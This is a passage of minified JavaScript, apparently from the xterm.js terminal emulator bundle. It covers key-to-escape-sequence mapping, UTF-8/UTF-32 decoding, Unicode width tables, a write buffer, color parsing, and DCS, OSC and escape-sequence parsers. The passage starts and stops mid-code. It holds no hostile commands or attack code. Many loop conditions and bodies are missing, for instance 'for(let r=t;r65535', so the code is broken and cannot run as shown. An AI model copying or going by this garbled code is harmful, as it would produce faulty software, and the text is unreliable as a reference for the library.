38:if(e.metaKey)break;a?(o.key=s.C0.ESC+"[1;"+(a+1)+"A",i||o.key!==s.C0.ESC+"[1;3A"||(o.key=s.C0.ESC+"[1;5A")):o.key=t?s.C0.ESC+"OA":s.C0.ESC+"[A";break;case 40:if(e.metaKey)break;a?(o.key=s.C0.ESC+"[1;"+(a+1)+"B",i||o.key!==s.C0.ESC+"[1;3B"||(o.key=s.C0.ESC+"[1;5B")):o.key=t?s.C0.ESC+"OB":s.C0.ESC+"[B";break;case 45:e.shiftKey||e.ctrlKey||(o.key=s.C0.ESC+"[2~");break;case 46:o.key=a?s.C0.ESC+"[3;"+(a+1)+"~":s.C0.ESC+"[3~";break;case 36:o.key=a?s.C0.ESC+"[1;"+(a+1)+"H":t?s.C0.ESC+"OH":s.C0.ESC+"[H";break;case 35:o.key=a?s.C0.ESC+"[1;"+(a+1)+"F":t?s.C0.ESC+"OF":s.C0.ESC+"[F";break;case 33:e.shiftKey?o.type=2:e.ctrlKey?o.key=s.C0.ESC+"[5;"+(a+1)+"~":o.key=s.C0.ESC+"[5~";break;case 34:e.shiftKey?o.type=3:e.ctrlKey?o.key=s.C0.ESC+"[6;"+(a+1)+"~":o.key=s.C0.ESC+"[6~";break;case 112:o.key=a?s.C0.ESC+"[1;"+(a+1)+"P":s.C0.ESC+"OP";break;case 113:o.key=a?s.C0.ESC+"[1;"+(a+1)+"Q":s.C0.ESC+"OQ";break;case 114:o.key=a?s.C0.ESC+"[1;"+(a+1)+"R":s.C0.ESC+"OR";break;case 115:o.key=a?s.C0.ESC+"[1;"+(a+1)+"S":s.C0.ESC+"OS";break;case 116:o.key=a?s.C0.ESC+"[15;"+(a+1)+"~":s.C0.ESC+"[15~";break;case 117:o.key=a?s.C0.ESC+"[17;"+(a+1)+"~":s.C0.ESC+"[17~";break;case 118:o.key=a?s.C0.ESC+"[18;"+(a+1)+"~":s.C0.ESC+"[18~";break;case 119:o.key=a?s.C0.ESC+"[19;"+(a+1)+"~":s.C0.ESC+"[19~";break;case 120:o.key=a?s.C0.ESC+"[20;"+(a+1)+"~":s.C0.ESC+"[20~";break;case 121:o.key=a?s.C0.ESC+"[21;"+(a+1)+"~":s.C0.ESC+"[21~";break;case 122:o.key=a?s.C0.ESC+"[23;"+(a+1)+"~":s.C0.ESC+"[23~";break;case 123:o.key=a?s.C0.ESC+"[24;"+(a+1)+"~":s.C0.ESC+"[24~";break;default:if(!e.ctrlKey||e.shiftKey||e.altKey||e.metaKey)if(i&&!n||!e.altKey||e.metaKey)!i||e.altKey||e.ctrlKey||e.shiftKey||!e.metaKey?e.key&&!e.ctrlKey&&!e.altKey&&!e.metaKey&&e.keyCode>=48&&1===e.key.length?o.key=e.key:e.key&&e.ctrlKey&&("_"===e.key&&(o.key=s.C0.US),"@"===e.key&&(o.key=s.C0.NUL)):65===e.keyCode&&(o.type=1);else{const t=r[e.keyCode],i=null==t?void 0:t[e.shiftKey?1:0];if(i)o.key=s.C0.ESC+i;else if(e.keyCode>=65&&e.keyCode<=90){const t=e.ctrlKey?e.keyCode-64:e.keyCode+32;let i=String.fromCharCode(t);e.shiftKey&&(i=i.toUpperCase()),o.key=s.C0.ESC+i}else if(32===e.keyCode)o.key=s.C0.ESC+(e.ctrlKey?s.C0.NUL:" ");else if("Dead"===e.key&&e.code.startsWith("Key")){let t=e.code.slice(3,4);e.shiftKey||(t=t.toLowerCase()),o.key=s.C0.ESC+t,o.cancel=!0}}else e.keyCode>=65&&e.keyCode<=90?o.key=String.fromCharCode(e.keyCode-64):32===e.keyCode?o.key=s.C0.NUL:e.keyCode>=51&&e.keyCode<=55?o.key=String.fromCharCode(e.keyCode-51+27):56===e.keyCode?o.key=s.C0.DEL:219===e.keyCode?o.key=s.C0.ESC:220===e.keyCode?o.key=s.C0.FS:221===e.keyCode&&(o.key=s.C0.GS)}return o}},482:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.Utf8ToUtf32=t.StringToUtf32=t.utf32ToString=t.stringFromCodePoint=void 0,t.stringFromCodePoint=function(e){return e>65535?(e-=65536,String.fromCharCode(55296+(e>>10))+String.fromCharCode(e%1024+56320)):String.fromCharCode(e)},t.utf32ToString=function(e,t=0,i=e.length){let s="";for(let r=t;r65535?(t-=65536,s+=String.fromCharCode(55296+(t>>10))+String.fromCharCode(t%1024+56320)):s+=String.fromCharCode(t)}return s},t.StringToUtf32=class{constructor(){this._interim=0}clear(){this._interim=0}decode(e,t){const i=e.length;if(!i)return 0;let s=0,r=0;if(this._interim){const i=e.charCodeAt(r++);56320<=i&&i<=57343?t[s++]=1024*(this._interim-55296)+i-56320+65536:(t[s++]=this._interim,t[s++]=i),this._interim=0}for(let n=r;n=i)return this._interim=r,s;const o=e.charCodeAt(n);56320<=o&&o<=57343?t[s++]=1024*(r-55296)+o-56320+65536:(t[s++]=r,t[s++]=o)}else 65279!==r&&(t[s++]=r)}return s}},t.Utf8ToUtf32=class{constructor(){this.interim=new Uint8Array(3)}clear(){this.interim.fill(0)}decode(e,t){const i=e.length;if(!i)return 0;let s,r,n,o,a=0,h=0,c=0;if(this.interim[0]){let s=!1,r=this.interim[0];r&=192==(224&r)?31:224==(240&r)?15:7;let n,o=0;for(;(n=63&this.interim[++o])&&o<4;)r<<=6,r|=n;const h=192==(224&this.interim[0])?2:224==(240&this.interim[0])?3:4,l=h-o;for(;c=i)return 0;if(n=e[c++],128!=(192&n)){c--,s=!0;break}this.interim[o++]=n,r<<=6,r|=63&n}s||(2===h?r<128?c--:t[a++]=r:3===h?r<2048||r>=55296&&r<=57343||65279===r||(t[a++]=r):r<65536||r>1114111||(t[a++]=r)),this.interim.fill(0)}const l=i-4;let d=c;for(;d=i)return this.interim[0]=s,a;if(r=e[d++],128!=(192&r)){d--;continue}if(h=(31&s)<<6|63&r,h<128){d--;continue}t[a++]=h}else if(224==(240&s)){if(d>=i)return this.interim[0]=s,a;if(r=e[d++],128!=(192&r)){d--;continue}if(d>=i)return this.interim[0]=s,this.interim[1]=r,a;if(n=e[d++],128!=(192&n)){d--;continue}if(h=(15&s)<<12|(63&r)<<6|63&n,h<2048||h>=55296&&h<=57343||65279===h)continue;t[a++]=h}else if(240==(248&s)){if(d>=i)return this.interim[0]=s,a;if(r=e[d++],128!=(192&r)){d--;continue}if(d>=i)return this.interim[0]=s,this.interim[1]=r,a;if(n=e[d++],128!=(192&n)){d--;continue}if(d>=i)return this.interim[0]=s,this.interim[1]=r,this.interim[2]=n,a;if(o=e[d++],128!=(192&o)){d--;continue}if(h=(7&s)<<18|(63&r)<<12|(63&n)<<6|63&o,h<65536||h>1114111)continue;t[a++]=h}}return a}}},225:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.UnicodeV6=void 0;const i=[[768,879],[1155,1158],[1160,1161],[1425,1469],[1471,1471],[1473,1474],[1476,1477],[1479,1479],[1536,1539],[1552,1557],[1611,1630],[1648,1648],[1750,1764],[1767,1768],[1770,1773],[1807,1807],[1809,1809],[1840,1866],[1958,1968],[2027,2035],[2305,2306],[2364,2364],[2369,2376],[2381,2381],[2385,2388],[2402,2403],[2433,2433],[2492,2492],[2497,2500],[2509,2509],[2530,2531],[2561,2562],[2620,2620],[2625,2626],[2631,2632],[2635,2637],[2672,2673],[2689,2690],[2748,2748],[2753,2757],[2759,2760],[2765,2765],[2786,2787],[2817,2817],[2876,2876],[2879,2879],[2881,2883],[2893,2893],[2902,2902],[2946,2946],[3008,3008],[3021,3021],[3134,3136],[3142,3144],[3146,3149],[3157,3158],[3260,3260],[3263,3263],[3270,3270],[3276,3277],[3298,3299],[3393,3395],[3405,3405],[3530,3530],[3538,3540],[3542,3542],[3633,3633],[3636,3642],[3655,3662],[3761,3761],[3764,3769],[3771,3772],[3784,3789],[3864,3865],[3893,3893],[3895,3895],[3897,3897],[3953,3966],[3968,3972],[3974,3975],[3984,3991],[3993,4028],[4038,4038],[4141,4144],[4146,4146],[4150,4151],[4153,4153],[4184,4185],[4448,4607],[4959,4959],[5906,5908],[5938,5940],[5970,5971],[6002,6003],[6068,6069],[6071,6077],[6086,6086],[6089,6099],[6109,6109],[6155,6157],[6313,6313],[6432,6434],[6439,6440],[6450,6450],[6457,6459],[6679,6680],[6912,6915],[6964,6964],[6966,6970],[6972,6972],[6978,6978],[7019,7027],[7616,7626],[7678,7679],[8203,8207],[8234,8238],[8288,8291],[8298,8303],[8400,8431],[12330,12335],[12441,12442],[43014,43014],[43019,43019],[43045,43046],[64286,64286],[65024,65039],[65056,65059],[65279,65279],[65529,65531]],s=[[68097,68099],[68101,68102],[68108,68111],[68152,68154],[68159,68159],[119143,119145],[119155,119170],[119173,119179],[119210,119213],[119362,119364],[917505,917505],[917536,917631],[917760,917999]];let r;t.UnicodeV6=class{constructor(){if(this.version="6",!r){r=new Uint8Array(65536),r.fill(1),r[0]=0,r.fill(0,1,32),r.fill(0,127,160),r.fill(2,4352,4448),r[9001]=2,r[9002]=2,r.fill(2,11904,42192),r[12351]=1,r.fill(2,44032,55204),r.fill(2,63744,64256),r.fill(2,65040,65050),r.fill(2,65072,65136),r.fill(2,65280,65377),r.fill(2,65504,65511);for(let e=0;et[r][1])return!1;for(;r>=s;)if(i=s+r>>1,e>t[i][1])s=i+1;else{if(!(e=131072&&e<=196605||e>=196608&&e<=262141?2:1}}},5981:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.WriteBuffer=void 0;const s=i(8460),r=i(844);class n extends r.Disposable{constructor(e){super(),this._action=e,this._writeBuffer=[],this._callbacks=[],this._pendingData=0,this._bufferOffset=0,this._isSyncWriting=!1,this._syncCalls=0,this._didUserInput=!1,this._onWriteParsed=this.register(new s.EventEmitter),this.onWriteParsed=this._onWriteParsed.event}handleUserInput(){this._didUserInput=!0}writeSync(e,t){if(void 0!==t&&this._syncCalls>t)return void(this._syncCalls=0);if(this._pendingData+=e.length,this._writeBuffer.push(e),this._callbacks.push(void 0),this._syncCalls++,this._isSyncWriting)return;let i;for(this._isSyncWriting=!0;i=this._writeBuffer.shift();){this._action(i);const e=this._callbacks.shift();e&&e()}this._pendingData=0,this._bufferOffset=2147483647,this._isSyncWriting=!1,this._syncCalls=0}write(e,t){if(this._pendingData>5e7)throw new Error("write data discarded, use flow control to avoid losing data");if(!this._writeBuffer.length){if(this._bufferOffset=0,this._didUserInput)return this._didUserInput=!1,this._pendingData+=e.length,this._writeBuffer.push(e),this._callbacks.push(t),void this._innerWrite();setTimeout((()=>this._innerWrite()))}this._pendingData+=e.length,this._writeBuffer.push(e),this._callbacks.push(t)}_innerWrite(e=0,t=!0){const i=e||Date.now();for(;this._writeBuffer.length>this._bufferOffset;){const e=this._writeBuffer[this._bufferOffset],s=this._action(e,t);if(s){const e=e=>Date.now()-i>=12?setTimeout((()=>this._innerWrite(0,e))):this._innerWrite(i,e);return void s.catch((e=>(queueMicrotask((()=>{throw e})),Promise.resolve(!1)))).then(e)}const r=this._callbacks[this._bufferOffset];if(r&&r(),this._bufferOffset++,this._pendingData-=e.length,Date.now()-i>=12)break}this._writeBuffer.length>this._bufferOffset?(this._bufferOffset>50&&(this._writeBuffer=this._writeBuffer.slice(this._bufferOffset),this._callbacks=this._callbacks.slice(this._bufferOffset),this._bufferOffset=0),setTimeout((()=>this._innerWrite()))):(this._writeBuffer.length=0,this._callbacks.length=0,this._pendingData=0,this._bufferOffset=0),this._onWriteParsed.fire()}}t.WriteBuffer=n},5941:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.toRgbString=t.parseColor=void 0;const i=/^([\da-f])\/([\da-f])\/([\da-f])$|^([\da-f]{2})\/([\da-f]{2})\/([\da-f]{2})$|^([\da-f]{3})\/([\da-f]{3})\/([\da-f]{3})$|^([\da-f]{4})\/([\da-f]{4})\/([\da-f]{4})$/,s=/^[\da-f]+$/;function r(e,t){const i=e.toString(16),s=i.length<2?"0"+i:i;switch(t){case 4:return i[0];case 8:return s;case 12:return(s+s).slice(0,3);default:return s+s}}t.parseColor=function(e){if(!e)return;let t=e.toLowerCase();if(0===t.indexOf("rgb:")){t=t.slice(4);const e=i.exec(t);if(e){const t=e[1]?15:e[4]?255:e[7]?4095:65535;return[Math.round(parseInt(e[1]||e[4]||e[7]||e[10],16)/t*255),Math.round(parseInt(e[2]||e[5]||e[8]||e[11],16)/t*255),Math.round(parseInt(e[3]||e[6]||e[9]||e[12],16)/t*255)]}}else if(0===t.indexOf("#")&&(t=t.slice(1),s.exec(t)&&[3,6,9,12].includes(t.length))){const e=t.length/3,i=[0,0,0];for(let s=0;s<3;++s){const r=parseInt(t.slice(e*s,e*s+e),16);i[s]=1===e?r<<4:2===e?r:3===e?r>>4:r>>8}return i}},t.toRgbString=function(e,t=16){const[i,s,n]=e;return`rgb:${r(i,t)}/${r(s,t)}/${r(n,t)}`}},5770:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.PAYLOAD_LIMIT=void 0,t.PAYLOAD_LIMIT=1e7},6351:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.DcsHandler=t.DcsParser=void 0;const s=i(482),r=i(8742),n=i(5770),o=[];t.DcsParser=class{constructor(){this._handlers=Object.create(null),this._active=o,this._ident=0,this._handlerFb=()=>{},this._stack={paused:!1,loopPosition:0,fallThrough:!1}}dispose(){this._handlers=Object.create(null),this._handlerFb=()=>{},this._active=o}registerHandler(e,t){void 0===this._handlers[e]&&(this._handlers[e]=[]);const i=this._handlers[e];return i.push(t),{dispose:()=>{const e=i.indexOf(t);-1!==e&&i.splice(e,1)}}}clearHandler(e){this._handlers[e]&&delete this._handlers[e]}setHandlerFallback(e){this._handlerFb=e}reset(){if(this._active.length)for(let e=this._stack.paused?this._stack.loopPosition-1:this._active.length-1;e>=0;--e)this._active[e].unhook(!1);this._stack.paused=!1,this._active=o,this._ident=0}hook(e,t){if(this.reset(),this._ident=e,this._active=this._handlers[e]||o,this._active.length)for(let e=this._active.length-1;e>=0;e--)this._active[e].hook(t);else this._handlerFb(this._ident,"HOOK",t)}put(e,t,i){if(this._active.length)for(let s=this._active.length-1;s>=0;s--)this._active[s].put(e,t,i);else this._handlerFb(this._ident,"PUT",(0,s.utf32ToString)(e,t,i))}unhook(e,t=!0){if(this._active.length){let i=!1,s=this._active.length-1,r=!1;if(this._stack.paused&&(s=this._stack.loopPosition-1,i=t,r=this._stack.fallThrough,this._stack.paused=!1),!r&&!1===i){for(;s>=0&&(i=this._active[s].unhook(e),!0!==i);s--)if(i instanceof Promise)return this._stack.paused=!0,this._stack.loopPosition=s,this._stack.fallThrough=!1,i;s--}for(;s>=0;s--)if(i=this._active[s].unhook(!1),i instanceof Promise)return this._stack.paused=!0,this._stack.loopPosition=s,this._stack.fallThrough=!0,i}else this._handlerFb(this._ident,"UNHOOK",e);this._active=o,this._ident=0}};const a=new r.Params;a.addParam(0),t.DcsHandler=class{constructor(e){this._handler=e,this._data="",this._params=a,this._hitLimit=!1}hook(e){this._params=e.length>1||e.params[0]?e.clone():a,this._data="",this._hitLimit=!1}put(e,t,i){this._hitLimit||(this._data+=(0,s.utf32ToString)(e,t,i),this._data.length>n.PAYLOAD_LIMIT&&(this._data="",this._hitLimit=!0))}unhook(e){let t=!1;if(this._hitLimit)t=!1;else if(e&&(t=this._handler(this._data,this._params),t instanceof Promise))return t.then((e=>(this._params=a,this._data="",this._hitLimit=!1,e)));return this._params=a,this._data="",this._hitLimit=!1,t}}},2015:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.EscapeSequenceParser=t.VT500_TRANSITION_TABLE=t.TransitionTable=void 0;const s=i(844),r=i(8742),n=i(6242),o=i(6351);class a{constructor(e){this.table=new Uint8Array(e)}setDefault(e,t){this.table.fill(e<<4|t)}add(e,t,i,s){this.table[t<<8|e]=i<<4|s}addMany(e,t,i,s){for(let r=0;rt)),i=(e,i)=>t.slice(e,i),s=i(32,127),r=i(0,24);r.push(25),r.push.apply(r,i(28,32));const n=i(0,14);let o;for(o in e.setDefault(1,0),e.addMany(s,0,2,0),n)e.addMany([24,26,153,154],o,3,0),e.addMany(i(128,144),o,3,0),e.addMany(i(144,152),o,3,0),e.add(156,o,0,0),e.add(27,o,11,1),e.add(157,o,4,8),e.addMany([152,158,159],o,0,7),e.add(155,o,11,3),e.add(144,o,11,9);return e.addMany(r,0,3,0),e.addMany(r,1,3,1),e.add(127,1,0,1),e.addMany(r,8,0,8),e.addMany(r,3,3,3),e.add(127,3,0,3),e.addMany(r,4,3,4),e.add(127,4,0,4),e.addMany(r,6,3,6),e.addMany(r,5,3,5),e.add(127,5,0,5),e.addMany(r,2,3,2),e.add(127,2,0,2),e.add(93,1,4,8),e.addMany(s,8,5,8),e.add(127,8,5,8),e.addMany([156,27,24,26,7],8,6,0),e.addMany(i(28,32),8,0,8),e.addMany([88,94,95],1,0,7),e.addMany(s,7,0,7),e.addMany(r,7,0,7),e.add(156,7,0,0),e.add(127,7,0,7),e.add(91,1,11,3),e.addMany(i(64,127),3,7,0),e.addMany(i(48,60),3,8,4),e.addMany([60,61,62,63],3,9,4),e.addMany(i(48,60),4,8,4),e.addMany(i(64,127),4,7,0),e.addMany([60,61,62,63],4,0,6),e.addMany(i(32,64),6,0,6),e.add(127,6,0,6),e.addMany(i(64,127),6,0,0),e.addMany(i(32,48),3,9,5),e.addMany(i(32,48),5,9,5),e.addMany(i(48,64),5,0,6),e.addMany(i(64,127),5,7,0),e.addMany(i(32,48),4,9,5),e.addMany(i(32,48),1,9,2),e.addMany(i(32,48),2,9,2),e.addMany(i(48,127),2,10,0),e.addMany(i(48,80),1,10,0),e.addMany(i(81,88),1,10,0),e.addMany([89,90,92],1,10,0),e.addMany(i(96,127),1,10,0),e.add(80,1,11,9),e.addMany(r,9,0,9),e.add(127,9,0,9),e.addMany(i(28,32),9,0,9),e.addMany(i(32,48),9,9,12),e.addMany(i(48,60),9,8,10),e.addMany([60,61,62,63],9,9,10),e.addMany(r,11,0,11),e.addMany(i(32,128),11,0,11),e.addMany(i(28,32),11,0,11),e.addMany(r,10,0,10),e.add(127,10,0,10),e.addMany(i(28,32),10,0,10),e.addMany(i(48,60),10,8,10),e.addMany([60,61,62,63],10,0,11),e.addMany(i(32,48),10,9,12),e.addMany(r,12,0,12),e.add(127,12,0,12),e.addMany(i(28,32),12,0,12),e.addMany(i(32,48),12,9,12),e.addMany(i(48,64),12,0,11),e.addMany(i(64,127),12,12,13),e.addMany(i(64,127),10,12,13),e.addMany(i(64,127),9,12,13),e.addMany(r,13,13,13),e.addMany(s,13,13,13),e.add(127,13,0,13),e.addMany([27,156,24,26],13,14,0),e.add(h,0,2,0),e.add(h,8,5,8),e.add(h,6,0,6),e.add(h,11,0,11),e.add(h,13,13,13),e}();class c extends s.Disposable{constructor(e=t.VT500_TRANSITION_TABLE){super(),this._transitions=e,this._parseStack={state:0,handlers:[],handlerPos:0,transition:0,chunkPos:0},this.initialState=0,this.currentState=this.initialState,this._params=new r.Params,this._params.addParam(0),this._collect=0,this.precedingCodepoint=0,this._printHandlerFb=(e,t,i)=>{},this._executeHandlerFb=e=>{},this._csiHandlerFb=(e,t)=>{},this._escHandlerFb=e=>{},this._errorHandlerFb=e=>e,this._printHandler=this._printHandlerFb,this._executeHandlers=Object.create(null),this._csiHandlers=Object.create(null),this._escHandlers=Object.create(null),this.register((0,s.toDisposable)((()=>{this._csiHandlers=Object.create(null),this._executeHandlers=Object.create(null),this._escHandlers=Object.create(null)}))),this._oscParser=this.register(new n.OscParser),this._dcsParser=this.register(new o.DcsParser),this._errorHandler=this._errorHandlerFb,this.registerEscHandler({final:"\\"},(()=>!0))}_identifier(e,t=[64,126]){let i=0;if(e.prefix){if(e.prefix.length>1)throw new Error("only one byte as prefix supported");if(i=e.prefix.charCodeAt(0),i&&60>i||i>63)throw new Error("prefix must be in range 0x3c .. 0x3f")}if(e.intermediates){if(e.intermediates.length>2)throw new Error("only two bytes as intermediates are supported");for(let t=0;ts||s>47)throw new Error("intermediate must be in range 0x20 .. 0x2f");i<<=8,i|=s}}if(1!==e.final.length)throw new Error("final must be a single byte");const s=e.final.charCodeAt(0);if(t[0]>s||s>t[1])throw new Error(`final must be in range ${t[0]} .. ${t[1]}`);return i<<=8,i|=s,i}identToString(e){const t=[];for(;e;)t.push(String.fromCharCode(255&e)),e>>=8;return t.reverse().join("")}setPrintHandler(e){this._printHandler=e}clearPrintHandler(){this._printHandler=this._printHandlerFb}registerEscHandler(e,t){const i=this._identifier(e,[48,126]);void 0===this._escHandlers[i]&&(this._escHandlers[i]=[]);const s=this._escHandlers[i];return s.push(t),{dispose:()=>{const e=s.indexOf(t);-1!==e&&s.splice(e,1)}}}clearEscHandler(e){this._escHandlers[this._identifier(e,[48,126])]&&delete this._escHandlers[this._identifier(e,[48,126])]}setEscHandlerFallback(e){this._escHandlerFb=e}setExecuteHandler(e,t){this._executeHandlers[e.charCodeAt(0)]=t}clearExecuteHandler(e){this._executeHandlers[e.charCodeAt(0)]&&delete this._executeHandlers[e.charCodeAt(0)]}setExecuteHandlerFallback(e){this._executeHandlerFb=e}registerCsiHandler(e,t){const i=this._identifier(e);void 0===this._csiHandlers[i]&&(this._csiHandlers[i]=[]);const s=this._csiHandlers[i];return s.push(t),{dispose:()=>{const e=s.indexOf(t);-1!==e&&s.splice(e,1)}}}clearCsiHandler(e){this._csiHandlers[this._identifier(e)]&&delete this._csiHandlers[this._identifier(e)]}setCsiHandlerFallback(e){this._csiHandlerFb=e}registerDcsHandler(e,t){return this._dcsParser.registerHandler(this._identifier(e),t)}clearDcsHandler(e){this._dcsParser.clearHandler(this._identifier(e))}setDcsHandlerFallback(e){this._dcsParser.setHandlerFallback(e)}registerOscHandler(e,t){return this._oscParser.registerHandler(e,t)}clearOscHandler(e){this._oscParser.clearHandler(e)}setOscHandlerFallback(e){this._oscParser.setHandlerFallback(e)}setErrorHandler(e){this._errorHandler=e}clearErrorHandler(){this._errorHandler=this._errorHandlerFb}reset(){this.currentState=this.initialState,this._oscParser.reset(),this._dcsParser.reset(),this._params.reset(),this._params.addParam(0),this._collect=0,this.precedingCodepoint=0,0!==this._parseStack.state&&(this._parseStack.state=2,this._parseStack.handlers=[])}_preserveStack(e,t,i,s,r){this._parseStack.state=e,this._parseStack.handlers=t,this._parseStack.handlerPos=i,this._parseStack.transition=s,this._parseStack.chunkPos=r}parse(e,t,i){let s,r=0,n=0,o=0;if(this._parseStack.state)if(2===this._parseStack.state)this._parseStack.state=0,o=this._parseStack.chunkPos+1;else{if(void 0===i||1===this._parseStack.state)throw this._parseStack.state=1,new Error("improper continuation due to previous async handler, giving up parsing");const t=this._parseStack.handlers;let n=this._parseStack.handlerPos-1;switch(this._parseStack.state){case 3:if(!1===i&&n>-1)for(;n>=0&&(s=t[n](this._params),!0!==s);n--)if(s instanceof Promise)return this._parseStack.handlerPos=n,s;this._parseStack.handlers=[];break;case 4:if(!1===i&&n>-1)for(;n>=0&&(s=t[n](),!0!==s);n--)if(s instanceof Promise)return this._parseStack.handlerPos=n,s;this._parseStack.handlers=[];break;case 6:if(r=e[this._parseStack.chunkPos],s=this._dcsParser.unhook(24!==r&&26!==r,i),s)return s;27===r&&(this._parseStack.transition|=1),this._params.reset(),this._params.addParam(0),this._collect=0;break;case 5:if(r=e[this._parseStack.chunkPos],s=this._oscParser.end(24!==r&&26!==r,i),s)return s;27===r&&(this._parseStack.transition|=1),this._params.reset(),this._params.addParam(0),this._collect=0}this._parseStack.state=0,o=this._parseStack.chunkPos+1,this.precedingCodepoint=0,this.currentState=15&this._parseStack.transition}for(let i=o;i>4){case 2:for(let s=i+1;;++s){if(s>=t||(r=e[s])<32||r>126&&r=t||(r=e[s])<32||r>126&&r=t||(r=e[s])<32||r>126&&r=t||(r=e[s])<32||r>126&&r=0&&(s=o[a](this._params),!0!==s);a--)if(s instanceof Promise)return this._preserveStack(3,o,a,n,i),s;a<0&&this._csiHandlerFb(this._collect<<8|r,this._params),this.precedingCodepoint=0;break;case 8:do{switch(r){case 59:this._params.addParam(0);break;case 58:this._params.addSubParam(-1);break;default:this._params.addDigit(r-48)}}while(++i47&&r<60);i--;break;case 9:this._collect<<=8,this._collect|=r;break;case 10:const c=this._escHandlers[this._collect<<8|r];let l=c?c.length-1:-1;for(;l>=0&&(s=c[l](),!0!==s);l--)if(s instanceof Promise)return this._preserveStack(4,c,l,n,i),s;l<0&&this._escHandlerFb(this._collect<<8|r),this.precedingCodepoint=0;break;case 11:this._params.reset(),this._params.addParam(0),this._collect=0;break;case 12:this._dcsParser.hook(this._collect<<8|r,this._params);break;case 13:for(let s=i+1;;++s)if(s>=t||24===(r=e[s])||26===r||27===r||r>127&&r=t||(r=e[s])<32||r>127&&r{Object.defineProperty(t,"__esModule",{value:!0}),t.OscHandler=t.OscParser=void 0;const s=i(5770),r=i(482),n=[];t.OscParser=class{constructor(){this._state=0,this._active=n,this._id=-1,this._handlers=Object.create(null),this._handlerFb=()=>{},this._stack={paused:!1,loopPosition:0,fallThrough:!1}}registerHandler(e,t){void 0===this._handlers[e]&&(this._handlers[e]=[]);const i=this._handlers[e];return i.push(t),{dispose:()=>{const e=i.indexOf(t);-1!==e&&i.splice(e,1)}}}clearHandler(e){this._handlers[e]&&delete this._handlers[e]}setHandlerFallback(e){this._handlerFb=e}dispose(){this._handlers=Object.create(null),this._handlerFb=()=>{},this._active=n}reset(){if(2===this._state)for(let e=this._stack.paused?this._stack.loopPosition-1:this._active.length-1;e>=0;--e)this._active[e].end(!1);this._stack.paused=!1,this._active=n,this._id=-1,this._state=0}_start(){if(this._active=this._handlers[this._id]||n,this._active.length)for(let e=this._active.length-1;e>=0;e--)this._active[e].start();else this._handlerFb(this._id,"START")}_put(e,t,i){if(this._active.length)for(let s=this._active.length-1;s>=0;s--)this._active[s].put(e,t,i);else this._handlerFb(this._id,"PUT",(0,r.utf32ToString)(e,t,i))}start(){this.reset(),this._state=1}put(e,t,i){if(3!==this._state){if(1===this._state)for(;t0&&this._put(e,t,i)}}end(e,t=!0){if(0!==this._state){if(3!==this._state)if(1===this._state&&this._start(),this._active.length){let i=!1,s=this._active.length-1,r=!1;if(this._stack.paused&&(s=this._stack.loopPosition-1,i=t,r=this._stack.fallThrough,this._stack.paused=!1),!r&&!1===i){for(;s>=0&&(i=this._active[s].end(e),!0!==i);s--)if(i instanceof Promise)return this._stack.paused=!0,this._stack.loopPosition=s,this._stack.fallThrough=!1,i;s--}for(;s>=0;s--)if(i=this._active[s].end(!1),i instanceof Promise)return this._stack.paused=!0,this._stack.loopPosition=s,this._stack.fallThrough=!0,i}else this._handlerFb(this._id,"END",e);this._active=n,this._id=-1,this._state=0}}},t.OscHandler=class{constructor(e){this._handler=e,this._data="",this._hitLimit=!1}start(){this._data="",this._hitLimit=!1}put(e,t,i){this._hitLimit||(this._data+=(0,r.utf32ToString)(e,t,i),this._data.length>s.PAYLOAD_LIMIT&&(this._data="",this._hitLimit=!0))}end(e){let t=!1;if(this._hitLimit)t=!1;else if(e&&(t=this._handler(this._data),t instanceof Promise))return t.then((e=>(this._data="",this._hitLimit=!1,e)));return this._data="",this._hitLimit=!1,t}}},8742:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.Params=void 0;const i=2147483647;class s{static fromArray(e){const t=new s;if(!e.length)return t;for(let i=Array.isArray(e[0])?1:0;i256)throw new Error("maxSubParamsLength must not be greater than 256");this.params=new Int32Array(e),this.length=0,this._subParams=new Int32Array(t),this._subParamsLength=0,this._subParamsIdx=new Uint16Array(e),this._rejectDigits=!1,this._rejectSubDigits=!1,this._digitIsSub=!1}clone(){const e=new s(this.maxLength,this.maxSubParamsLength);return e.params.set(this.params),e.length=this.length,e._subParams.set(this._subParams),e._subParamsLength=this._subParamsLength,e._subParamsIdx.set(this._subParamsIdx),e._rejectDigits=this._rejectDigits,e._rejectSubDigits=this._rejectSubDigits,e._digitIsSub=this._digitIsSub,e}toArray(){const e=[];for(let t=0;t>8,s=255&this._subParamsIdx[t];s-i>0&&e.push(Array.prototype.slice.call(this._subParams,i,s))}return e}reset(){this.length=0,this._subParamsLength=0,this._rejectDigits=!1,this._rejectSubDigits=!1,this._digitIsSub=!1}addParam(e){if(this._digitIsSub=!1,this.length>=this.maxLength)this._rejectDigits=!0;else{if(e<-1)throw new Error("values lesser than -1 are not allowed");this._subParamsIdx[this.length]=this._subParamsLength<<8|this._subParamsLength,this.params[this.length++]=e>i?i:e}}addSubParam(e){if(this._digitIsSub=!0,this.length)if(this._rejectDigits||this._subParamsLength>=this.maxSubParamsLength)this._rejectSubDigits=!0;else{if(e<-1)throw new Error("values lesser than -1 are not allowed");this._subParams[this._subParamsLength++]=e>i?i:e,this._subParamsIdx[this.length-1]++}}hasSubParams(e){return(255&this._subParamsIdx[e])-(this._subParamsIdx[e]>>8)>0}getSubParams(e){const t=this._subParamsIdx[e]>>8,i=255&this._subParamsIdx[e];return i-t>0?this._subParams.subarray(t,i):null}getSubParamsAll(){const e={};for(let t=0;t>8,s=255&this._subParamsIdx[t];s-i>0&&(e[t]=this._subParams.slice(i,s))}return e}addDigit(e){let t;if(this._rejectDigits||!(t=this._digitIsSub?this._subParamsLength:this.length)||this._digitIsSub&&this._rejectSubDigits)return;const s=this._digitIsSub?this._subParams:this.params,r=s[t-1];s[t-1]=~r?Math.min(10*r+e,i):e}}t.Params=s},5741:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.AddonManager=void 0,t.AddonManager=class{constructor(){this._addons=[]}dispose(){for(let e=this._addons.length-1;e>=0;e--)this._addons[e].instance.dispose()}loadAddon(e,t){const 